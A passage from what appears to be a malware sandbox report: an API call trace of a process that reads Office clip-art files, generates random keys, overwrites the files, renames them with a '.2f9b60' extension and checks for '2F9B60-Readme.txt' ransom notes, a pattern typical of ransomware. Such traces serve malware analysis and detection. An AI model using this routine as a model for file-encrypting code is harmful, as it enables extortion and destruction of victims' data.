dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.089] WriteFile (in: hFile=0x17a8, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c3ffa70, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x2c3ffa70*=0x10a, lpOverlapped=0x0) returned 1 [0108.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0108.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867740 [0108.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600c0 [0108.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8600c0) returned 1 [0108.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600c0 [0108.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0108.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8e0) returned 1 [0108.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.100] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="ec") returned 2 [0108.100] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="48") returned 2 [0108.100] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="15") returned 2 [0108.100] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="4f") returned 2 [0108.100] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="c8") returned 2 [0108.100] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="92") returned 2 [0108.100] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="0b") returned 2 [0108.100] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="a2") returned 2 [0108.100] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="9c") returned 2 [0108.100] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="9a") returned 2 [0108.100] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="55") returned 2 [0108.100] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="d8") returned 2 [0108.100] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="2d") returned 2 [0108.100] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="ec") returned 2 [0108.100] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="bb") returned 2 [0108.101] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="e7") returned 2 [0108.101] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="69") returned 2 [0108.101] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="0b") returned 2 [0108.101] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="1a") returned 2 [0108.101] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="7d") returned 2 [0108.101] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="f6") returned 2 [0108.101] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="08") returned 2 [0108.101] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="17") returned 2 [0108.101] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="e4") returned 2 [0108.101] RtlInitAnsiString (in: DestinationString=0x2c3ffae8, SourceString="ec48154fc8920ba29c9a55d82decbbe7690b1a7df60817e4" | out: DestinationString="ec48154fc8920ba29c9a55d82decbbe7690b1a7df60817e4") [0108.101] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c3ffab8, SourceString="ec48154fc8920ba29c9a55d82decbbe7690b1a7df60817e4", AllocateDestinationString=1 | out: DestinationString="ec48154fc8920ba29c9a55d82decbbe7690b1a7df60817e4") returned 0x0 [0108.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5b00 [0108.101] wcscat (in: _Dest=0x205004f0, _Source="ec48154fc892" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec48154fc892") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec48154fc892" [0108.101] wcscat (in: _Dest=0x205004f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec48154fc892.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec48154fc892.2f9b60" [0108.101] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec48154fc892.2f9b60", NtPathName=0x2c3ffa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec48154fc892.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279df0 [0108.102] NtSetInformationFile (FileHandle=0x17a8, IoStatusBlock=0x2c3ffb30, FileInformation=0x20279df0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0108.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0108.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027daf0) returned 1 [0108.240] NtQueryInformationFile (in: FileHandle=0x17a8, IoStatusBlock=0x2c3ffaf8, FileInformation=0x2c3ffb08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c3ffaf8, FileInformation=0x2c3ffb08) returned 0x0 [0108.240] NtSetInformationFile (FileHandle=0x17a8, IoStatusBlock=0x2c3ffaf8, FileInformation=0x2c3ffb08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0108.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205004f0) returned 1 [0108.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5b00) returned 1 [0108.242] FlushFileBuffers (hFile=0x17a8) returned 1 [0108.245] CloseHandle (hObject=0x17a8) returned 1 [0108.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x205004f0 [0108.246] wcscpy (in: _Dest=0x205004f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0108.246] wcscat (in: _Dest=0x205004f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0108.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0108.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205004f0) returned 1 [0108.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4bda0) returned 1 Thread: id = 701 os_tid = 0x11d8 [0096.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 0x20 [0107.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF", dwFileAttributes=0x20) returned 1 [0107.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1564 [0107.949] GetFileSizeEx (in: hFile=0x1564, lpFileSize=0x2adbfba0 | out: lpFileSize=0x2adbfba0*=7804) returned 1 [0107.949] SetFilePointerEx (in: hFile=0x1564, liDistanceToMove=0x1e78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.949] ReadFile (in: hFile=0x1564, lpBuffer=0x2adbfb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2adbfb68, lpOverlapped=0x0 | out: lpBuffer=0x2adbfb20*, lpNumberOfBytesRead=0x2adbfb68*=0x4, lpOverlapped=0x0) returned 1 [0107.954] SetFilePointerEx (in: hFile=0x1564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860540 [0107.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0107.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8605d0 [0107.954] NtQuerySystemTime (in: CurrentTime=0x2adbfa60 | out: CurrentTime=0x2adbfa60*=132462177134506000) returned 0x0 [0107.954] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x503beab0 [0107.954] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x1418d3e8 [0107.954] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x6f5373c8 [0107.954] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0xfa41e11 [0107.954] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x519e2fa9 [0107.954] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x621b6d12 [0107.954] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x695115f3 [0107.954] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x2b9d774e [0107.954] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x72911a78 [0107.954] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x176c8697 [0107.954] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x57a35581 [0107.954] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x26b8ba3a [0107.954] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x49b019c8 [0107.955] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x50c8063c [0107.955] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x465b9966 [0107.955] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x338f729 [0107.955] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x10a342cf [0107.955] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x2c21dba4 [0107.955] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x1615c320 [0107.955] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x13a773ab [0107.955] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x5ad9fffb [0107.955] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x77aba6e2 [0107.955] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x2dd25863 [0107.955] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x2451e77d [0107.955] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x5926ed77 [0107.955] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x4c3456ae [0107.955] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x1a642213 [0107.955] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x7e37e1bb [0107.955] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x5fad37d7 [0107.955] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x54854d33 [0107.955] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x659e8e35 [0107.955] RtlRandomEx (in: Seed=0x2adbfa50 | out: Seed=0x2adbfa50) returned 0x6c6745b7 [0107.966] ReadFile (in: hFile=0x1564, lpBuffer=0x41e62d00, nNumberOfBytesToRead=0x1e7c, lpNumberOfBytesRead=0x2adbfa50, lpOverlapped=0x0 | out: lpBuffer=0x41e62d00*, lpNumberOfBytesRead=0x2adbfa50*=0x1e7c, lpOverlapped=0x0) returned 1 [0107.975] SetFilePointerEx (in: hFile=0x1564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.975] WriteFile (in: hFile=0x1564, lpBuffer=0x41e66910*, nNumberOfBytesToWrite=0x1e7c, lpNumberOfBytesWritten=0x2adbfa54, lpOverlapped=0x0 | out: lpBuffer=0x41e66910*, lpNumberOfBytesWritten=0x2adbfa54*=0x1e7c, lpOverlapped=0x0) returned 1 [0107.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860450 [0107.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860120 [0107.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860120) returned 1 [0107.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e66910) returned 1 [0107.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e62d00) returned 1 [0107.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0107.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0107.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860120 [0107.994] SetFilePointerEx (in: hFile=0x1564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.994] WriteFile (in: hFile=0x1564, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2adbfb70, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x2adbfb70*=0x10a, lpOverlapped=0x0) returned 1 [0108.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0108.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866940 [0108.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860540 [0108.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860540) returned 1 [0108.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860540 [0108.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8605d0 [0108.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8605d0) returned 1 [0108.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0108.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0108.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.001] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="c0") returned 2 [0108.001] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="b9") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="89") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="44") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="0e") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="43") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="2d") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="47") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="a6") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="e4") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="99") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="ee") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="63") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="92") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="4d") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="24") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="da") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="3e") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="f3") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="71") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="75") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="56") returned 2 [0108.002] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="20") returned 2 [0108.003] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="0a") returned 2 [0108.003] RtlInitAnsiString (in: DestinationString=0x2adbfbe8, SourceString="c0b989440e432d47a6e499ee63924d24da3ef3717556200a" | out: DestinationString="c0b989440e432d47a6e499ee63924d24da3ef3717556200a") [0108.003] RtlAnsiStringToUnicodeString (in: DestinationString=0x2adbfbb8, SourceString="c0b989440e432d47a6e499ee63924d24da3ef3717556200a", AllocateDestinationString=1 | out: DestinationString="c0b989440e432d47a6e499ee63924d24da3ef3717556200a") returned 0x0 [0108.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5e10 [0108.003] wcscat (in: _Dest=0x20500450, _Source="c0b989440e43" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0b989440e43") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0b989440e43" [0108.003] wcscat (in: _Dest=0x20500450, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0b989440e43.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0b989440e43.2f9b60" [0108.003] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0b989440e43.2f9b60", NtPathName=0x2adbfb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0b989440e43.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279d30 [0108.003] NtSetInformationFile (FileHandle=0x1564, IoStatusBlock=0x2adbfc30, FileInformation=0x20279d30, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279d30) returned 1 [0109.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027df50) returned 1 [0109.864] NtQueryInformationFile (in: FileHandle=0x1564, IoStatusBlock=0x2adbfbf8, FileInformation=0x2adbfc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2adbfbf8, FileInformation=0x2adbfc08) returned 0x0 [0109.864] NtSetInformationFile (FileHandle=0x1564, IoStatusBlock=0x2adbfbf8, FileInformation=0x2adbfc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500450) returned 1 [0109.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5e10) returned 1 [0109.870] FlushFileBuffers (hFile=0x1564) returned 1 [0109.871] CloseHandle (hObject=0x1564) returned 1 [0109.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500450 [0109.874] wcscpy (in: _Dest=0x20500450, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.874] wcscat (in: _Dest=0x20500450, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500450) returned 1 [0109.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4be30) returned 1 Thread: id = 702 os_tid = 0x11dc [0096.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 0x20 [0107.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF", dwFileAttributes=0x20) returned 1 [0107.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa80 [0107.924] GetFileSizeEx (in: hFile=0xa80, lpFileSize=0x2c37fae0 | out: lpFileSize=0x2c37fae0*=2016) returned 1 [0107.924] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x7dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.924] ReadFile (in: hFile=0xa80, lpBuffer=0x2c37fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c37faa8, lpOverlapped=0x0 | out: lpBuffer=0x2c37fa60*, lpNumberOfBytesRead=0x2c37faa8*=0x4, lpOverlapped=0x0) returned 1 [0107.928] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602a0 [0107.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860120 [0107.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602d0 [0107.928] NtQuerySystemTime (in: CurrentTime=0x2c37f9a0 | out: CurrentTime=0x2c37f9a0*=132462177134194000) returned 0x0 [0107.928] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x45d21298 [0107.928] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x22b7a72b [0107.928] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x343d861a [0107.928] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x15988d9d [0107.928] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x3aa2e76a [0107.928] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x791c4f81 [0107.928] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x30822529 [0107.928] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x1cbb5c6 [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x3b434d59 [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x55f33077 [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x6cc25b5f [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x97038ba [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x1cb12c2b [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x5e34a6a0 [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x5ddf8d0c [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x4d9f2a8 [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0xd7c5573 [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x2732cdaa [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x370af284 [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x60bd18d6 [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x44f5bcc0 [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x3693cc3e [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x65ca5e8 [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x495a7b3c [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x18276646 [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x6406f06c [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x4af34f37 [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x4eee8819 [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x664814de [0107.929] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x738af8b3 [0107.930] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0x42e0a5d6 [0107.930] RtlRandomEx (in: Seed=0x2c37f990 | out: Seed=0x2c37f990) returned 0xd8f368e [0107.942] ReadFile (in: hFile=0xa80, lpBuffer=0x41e62d00, nNumberOfBytesToRead=0x7e0, lpNumberOfBytesRead=0x2c37f990, lpOverlapped=0x0 | out: lpBuffer=0x41e62d00*, lpNumberOfBytesRead=0x2c37f990*=0x7e0, lpOverlapped=0x0) returned 1 [0107.942] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 